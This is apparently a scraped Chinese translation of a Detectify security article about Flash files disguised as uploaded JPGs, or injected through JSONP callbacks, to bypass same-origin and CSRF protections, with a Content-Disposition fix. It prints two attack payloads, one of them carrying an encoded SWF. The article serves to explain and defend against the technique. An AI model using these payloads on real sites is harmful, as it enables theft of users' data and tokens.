<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/2031

                    0x00 背景


                    現在很多網站都允許用戶上傳文件,但他們都沒意識到讓用戶(或攻擊者)上傳文件(甚至合法文件)的陷阱。

                    什么是合法文件?

                    通常,判斷文件是否合法會透過兩個參數:文件后綴(File extension)及Content-Type。

                    例如,網站會確保后綴是jpg及Content-Type是image/jpeg以防止惡意文件,對不?

                    但一些像Flash的插件程序并不關心后綴及Content-type。假如一個文件被標簽嵌入,它會像Flash一樣執行,只要它的內容像個Flash文件。

                    但等等,Flash不是應該只在同域下被嵌入才會執行?亦對亦錯。假如一個Flash文件(或以圖像包裝的Flash文件)在victim.com上傳然后于attacker.com下嵌入,它只能在attacker.com下執行JavaScript。但是,假如該Flash文件發出請求,那么它可以讀取到victim.com下的文件。

                    這說明了若不檢查文件內容而直接上傳,攻擊者可以繞過網站的CSRF防御。

                    0x01 攻擊


                    基于上面我們可以想像一種攻擊場境:

                    1. 攻擊者建立一個惡意Flash(SWF)文件  
                    2. 攻擊者更改文件副檔名為JPG  
                    3. 攻擊者上傳檔案到victim.com  
                    4. 攻擊者在attacker.com以標簽及application/x-shockwave-flash類型嵌入該文件  
                    5. 受害者瀏覽attacker.com,并以SWF格式載入該文件  
                    6. 攻擊者現在可以透過該SWF并以受害者的session向victim.com發出及接收任意請求  
                    7. 攻擊者向victim.com發出請求后取得受害者的CSRF token  
                    

                    payload會像這樣

                    <object style="height:1px;width:1px;" data="http://victim.com/user/2292/profilepicture.jpg" type="application/x-shockwave-flash" allowscriptaccess="always" flashvars="c=read&u=http://victim.com/secret_file.txt"></object>   
                    

                    0x02 修補


                    好消息是有一個相對簡單的方法防止該Flash的行為。 Flash若看到文件返回下面的Content-Disposition header就不會執行:

                    Content-Disposition: attachment; filename="image.jpg"  
                    

                    所以若允許上傳或輸出任意數據,網站應該總是檢查內容是否合法而且盡可能返回Content-Disposition header

                    0x03 其他用途


                    實際上,該攻擊不只限制于文件上傳。該攻擊只要求攻擊者能夠控制域名下的數據(不論Content-Type),因此還有其他實施攻擊的方法。

                    其中一種是利用JSONP接口。通常,攻擊者可以透過更改callback參數控制JSONP接口的輸出。然而,攻擊者可以把整個Flash文件的內容作為callback參數,而達到與上載文件無異的攻擊。 Payload會像這樣:

                    <object style="height:1px;width:1px;" data="http://victim.com/user/jsonp?callback=CWS%07%0E000x%9C%3D%8D1N%C3%40%10E%DF%AE%8D%BDI%08%29%D3%40%1D%A0%A2%05%09%11%89HiP%22%05D%8BF%8E%0BG%26%1B%D9%8E%117%A0%A2%DC%82%8A%1Br%04X%3B%21S%8C%FE%CC%9B%F9%FF%AA%CB7Jq%AF%7F%ED%F2%2E%F8%01%3E%9E%18p%C9c%9Al%8B%ACzG%F2%DC%BEM%EC%ABdkj%1E%AC%2C%9F%A5%28%B1%EB%89T%C2Jj%29%93%22%DBT7%24%9C%8FH%CBD6%29%A3%0Bx%29%AC%AD%D8%92%FB%1F%5C%07C%AC%7C%80Q%A7Nc%F4b%E8%FA%98%20b%5F%26%1C%9F5%20h%F1%D1g%0F%14%C1%0A%5Ds%8D%8B0Q%A8L%3C%9B6%D4L%BD%5F%A8w%7E%9D%5B%17%F3%2F%5B%DCm%7B%EF%CB%EF%E6%8D%3An%2D%FB%B3%C3%DD%2E%E3d1d%EC%C7%3F6%CD0%09" type="application/x-shockwave-flash" allowscriptaccess="always" flashvars="c=alert&u=http://victim.com/secret_file.txt"></object>
                    

                    from:?http://blog.detectify.com/post/86298380233/the-pitfalls-of-allowing-file-uploads-on-your-website

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频